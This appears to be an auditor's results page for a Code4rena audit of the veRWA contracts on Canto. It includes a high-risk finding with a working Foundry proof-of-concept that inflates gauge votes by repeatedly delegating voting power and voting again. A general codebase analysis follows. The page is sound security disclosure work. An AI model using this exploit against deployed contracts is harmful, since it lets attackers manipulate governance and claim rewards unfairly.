veRWA - 0x73696d616f's results

Incentivization Primitive for Real World Assets on Canto

General Information

Platform: Code4rena

Start Date: 07/08/2023

Pot Size: $36,500 USDC

Total HM: 11

Participants: 125

Period: 3 days

Judge: alcueca

Total Solo HM: 4

Id: 274

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 33/125

Findings: 2

Award: $95.95

Analysis:
grade-b

🌟 Selected for report: 1

🚀 Solo Findings: 0

Awards

48.0276 USDC - $48.03

Labels

bug
3 (High Risk)
primary issue
satisfactory
selected for report
upgraded by judge
H-02

External Links

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/main/src/GaugeController.sol#L211 https://github.com/code-423n4/2023-08-verwa/blob/main/src/VotingEscrow.sol#L356

Vulnerability details

Impact

Delegate mechanism in VotingEscrow allows infinite votes in vote_for_gauge_weights() in the GaugeController. Users can then, for example, claim more tokens in the LendingLedger in the market that they inflated the votes on.

Proof of Concept

VotingEscrow has a delegate mechanism which lets a user delegate the voting power to another user. The GaugeController allows voters who locked native in VotingEscrow to vote on the weight of a specific gauge.

Due to the fact that users can delegate their voting power in the VotingEscrow, they may vote once in a gauge by calling vote_for_gauge_weights(), delegate their votes to another address and then call again vote_for_gauge_weights() using this other address.

A POC was built in Foundry, add the following test to GaugeController.t.sol:

function testDelegateSystemMultipleVoting() public {
    vm.deal(user1, 100 ether);
    vm.startPrank(gov);
    gc.add_gauge(user1);
    gc.change_gauge_weight(user1, 100);
    vm.stopPrank();

    vm.deal(user2, 100 ether);
    vm.startPrank(gov);
    gc.add_gauge(user2);
    gc.change_gauge_weight(user2, 100);
    vm.stopPrank();

    uint256 v = 10 ether;

    vm.startPrank(user1);
    ve.createLock{value: v}(v);
    gc.vote_for_gauge_weights(user1, 10_000);
    vm.stopPrank();

    vm.startPrank(user2);
    ve.createLock{value: v}(v);
    gc.vote_for_gauge_weights(user2, 10_000);
    vm.stopPrank();

    uint256 expectedWeight_ = gc.get_gauge_weight(user1);

    assertEq(gc.gauge_relative_weight(user1, 7 days), 50e16);

    uint256 numDelegatedTimes_ = 20;

    for (uint i_; i_ < numDelegatedTimes_; i_++) {
        address fakeUserI_ = vm.addr(i_ + 27); // random num
        vm.deal(fakeUserI_, 1);

        vm.prank(fakeUserI_);
        ve.createLock{value: 1}(1);

        vm.prank(user1);
        ve.delegate(fakeUserI_);

        vm.prank(fakeUserI_);
        gc.vote_for_gauge_weights(user1, 10_000);
    }

    // assert that the weight is approx numDelegatedTimes_ more than expected
    assertEq(gc.get_gauge_weight(user1), expectedWeight_*(numDelegatedTimes_ + 1) - numDelegatedTimes_*100);

    // relative weight has been increase by a lot, can be increased even more if wished
    assertEq(gc.gauge_relative_weight(user1, 7 days), 954545454545454545);
}

Tools Used

Vscode, Foundry

The vulnerability comes from the fact that the voting power is fetched from the current timestamp, instead of n blocks in the past, allowing users to vote, delegate, vote again and so on. Thus, the voting power should be fetched from n blocks in the past.

Additionaly, note that this alone is not enough, because when the current block reaches n blocks in the future, the votes can be replayed again by having delegated to another user n blocks in the past. The exploit in this scenario would become more difficult, but still possible, such as: vote, delegate, wait n blocks, vote and so on. For this reason, a predefined window by the governance could be scheduled, in which users can vote on the weights of a gauge, n blocks in the past from the scheduled window start.

Assessed type

Other

#0 - c4-pre-sort

2023-08-11T13:29:56Z

141345 marked the issue as duplicate of #45

#1 - c4-pre-sort

2023-08-13T13:17:06Z

141345 marked the issue as duplicate of #99

#2 - c4-pre-sort

2023-08-13T17:09:24Z

141345 marked the issue as duplicate of #178

#3 - c4-pre-sort

2023-08-13T17:29:09Z

141345 marked the issue as not a duplicate

#4 - c4-pre-sort

2023-08-13T17:29:22Z

141345 marked the issue as duplicate of #86

#5 - c4-judge

2023-08-25T10:51:22Z

alcueca changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-08-25T10:51:34Z

alcueca changed the severity to 3 (High Risk)

#7 - c4-judge

2023-08-25T10:54:03Z

alcueca marked the issue as satisfactory

#8 - c4-judge

2023-08-25T10:58:25Z

alcueca marked the issue as selected for report

#9 - alcueca

2023-08-25T10:59:08Z

Chosen as best due to the clear and concise explanation, including business impact on the protocol, and including an executable PoC.

#10 - OpenCoreCH

2023-09-01T09:58:33Z

Findings Information

Labels

analysis-advanced
grade-b
A-03

Awards

47.9153 USDC - $47.92

External Links

Context

Did not have enough time to carefully go over all the codebase.

Approach taken in evaluating the codebase

Read Curve and FiatDao VotingEscrow code and then compared the diffs to the veRWA code.

Architecture recommendations

The codebase is quite simple and no major architecture recomendations were found.

Codebase quality analysis

The code quality is quite good, which is expected as a big part of it is forked. Unfortunately it is not possible to compile without via-ir, which makes it impossible to calculate coverage without manually editing the code to handle stack too deep errors.

Centralization risks

The governance has some previleges in the GaugeController and LendingLedger.

In the GaugeController they may remove, add gauges and change gauge weights. This means that the governance as explicit control over how much users can claim in the LendingLedger for any specific market.

In the LendingLedger, setRewards() and whiteListLendingMarket() are permissioned functions, which means that, again, the governance chooses the rewards they issue.

All in all, the biggest risk is users locking their assets and then not being able to withdraw for 5 years without claiming rewards.

Mechanism Review

VotingEscrow

Fork from Curve and FiatDao, allows users to lock native for a fixed period of 5 years and vote based on it. A delegate mechanism was added that enables the voting power to be delegated to other locks. Most of the details of this design, besides the delegates, is better explained in the Curve documentation itself. Another modification is that the lockEnd of locks is reset when the amount is increased, having to wait 5 years to withdraw the full amount of the lock.

LendingLedger

Users may claim their rewards according to their voting power from VotingEscrow. Markets call sync_ledger() and update the balances of each user. Then, users may claim CANTO based on the following formula:

cantoToSend += (marketWeight * userBalance * ri.amount) / (1e18 * marketBalance); 

Essentially, the rewards increase prorata with the marketWeight (defined by the GaugeController, the user balance (set from the market itself), the ri.amount (set by governance), divided by the marketBalance (set the market on sync_ledger() calls).

GaugeController

Sets the weights of the gauges. Governance adds, removes and overrides gauge weights. Users vote on the weight of each gauge according to their voting power from VotingEscrow.

Systemic risks

  • Users may find ways to break the voting system.
  • Governance may set users rewards to 0 at any time.
  • Delegates may act maliciously (the lock owner may undelegate, but might be too late).

Time spent:

10 hours

#0 - c4-judge

2023-08-22T06:57:02Z

alcueca marked the issue as grade-b

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter